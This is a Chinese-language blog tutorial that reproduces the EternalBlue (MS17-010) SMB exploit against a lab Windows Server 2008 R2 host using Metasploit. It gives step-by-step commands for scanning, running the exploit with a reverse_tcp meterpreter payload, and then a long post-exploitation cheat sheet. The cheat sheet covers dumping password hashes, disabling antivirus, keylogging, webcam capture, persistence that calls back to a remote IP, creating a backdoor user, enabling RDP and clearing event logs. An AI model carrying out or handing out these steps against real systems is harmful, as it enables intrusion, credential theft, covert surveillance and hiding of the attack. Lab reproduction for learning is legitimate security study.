永恒之蓝漏洞复现(ms17-010)

情到浓时终转凉″ 提交于 2020-01-20 16:20:03

目录

Metasploit 

使用方法

ms17-010漏洞复现

1. 主机发现

2. 进入MSF框架

3. 使用ms17-010扫描模块,对靶机进行扫描

4. 使用ms17-010攻击模块,对靶机进行攻击

后渗透阶段

Post后渗透模块

查看目标主机是否运行在虚拟机上

关闭杀毒软件

访问文件系统

下载/上传文件

权限提升

获取用户密码


Metasploit 

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
 

MSF的更新:apt update

                         apt install metasploit-framework

 

使用方法

  •     进入框架:msfconsole
  •     使用search命令查找相关漏洞: search  ms17-010
  •     使用use进入模块:  use exploit/windows/smb/ms17_010_eternalblue   
  •     使用info查看模块信息: info 
  •     设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
  •     查看模块需要配置的参数:show options
  •     设置参数:set  RHOST  192.168.125.138
  •     攻击:exploit /  run 
  •     后渗透阶段

不同的攻击用到的步骤也不一样,接下来我们用永恒之蓝ms17-010来熟悉一下MSF工具的使用

 

ms17-010漏洞复现

 

描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

 

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

 

复现环境

攻击机: kali

靶机:win server 2008 r2  (192.168.1.8)

 

复现过程

 

1. 主机发现

nmap进行ip端口扫描

 

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

 

2. 进入MSF框架

msfconsole

search ms17-010

这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞

exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

 

3. 使用ms17-010扫描模块,对靶机进行扫描

 

使用模块

     该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

      msf> use auxiliary/scanner/smb/smb_ms17_010

查看模块需要配置的参数

              show options   

              右边Required为yes的选项说明左边 Current Setting 这个项对应的需要填写,比如Rhoststs

设置攻击目标

     RHOSTS 参数是要探测主机的ip或ip范围(比如 192.168.125.125-129.168.125.140 或者 192.168.1.0、24)

     set rhosts  192.168.1.8

再次查看配置参数

      show options 

执行扫描

              run     

              

              显示主机很可能能够会受到永恒之蓝漏洞的攻击

 

4. 使用ms17-010攻击模块,对靶机进行攻击

 

      use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息

    info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

    show targets

    

     这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

查看攻击载荷

    攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令

    show payloads

    该命令可以查看当前漏洞利用模块下可用的所有Payload

设置攻击载荷

     set payload windows/x64/meterpreter/reverse_tcp

查看配置参数

      show options 

设置目标攻击ip

      set rhosts 192.168.1.8

设置用于接收从目标机弹回来的shell

    set  LHOST 192.168.1.11

执行攻击

      exploit

    

  

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell  即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
 

 

要想从 meterpreter 退出到MSF框架,输入:background     

      

 

 

输入  sessions -l   查看我们获得的shell

输入  sessions -i 1  即可切换到id为1的shell

            

 

 

Post后渗透模块

 

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev                       #清除日志

 

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

 

查看目标主机是否运行在虚拟机上

 

 

关闭杀毒软件

 

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

    run killav

 

访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似,这里就不演示了)

 

下载/上传文件

 

download file   从目标主机下载文件

upload file        上传文件到目标主机

     这里下载的文件的路径默认在根目录 / 下

 

权限提升

 

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权
 

getuid  获取当前用户的信息

可以看到,当我们使用 getsystem进行提权后,用户身材为  NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限

 

获取用户密码

 

执行 :run hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号, 该命令的使用需要系统权限

 

从上图可知,导出了三个用户名及密码,输出格式为,用户名:SID:LM哈希:NTLM哈希::: 

 

我们来破解用户名为chenchen的用户密码,可以复制 NTLM哈希去在线网站如 www.cmd5.com 破解

 

未完。。。

 

 

 

 

 

 

Refer to the article:

https://blog.csdn.net/qq_36119192/article/details/83215257#Post%C2%A0%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97%C2%A0

 

 

 

 

 

 

 

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!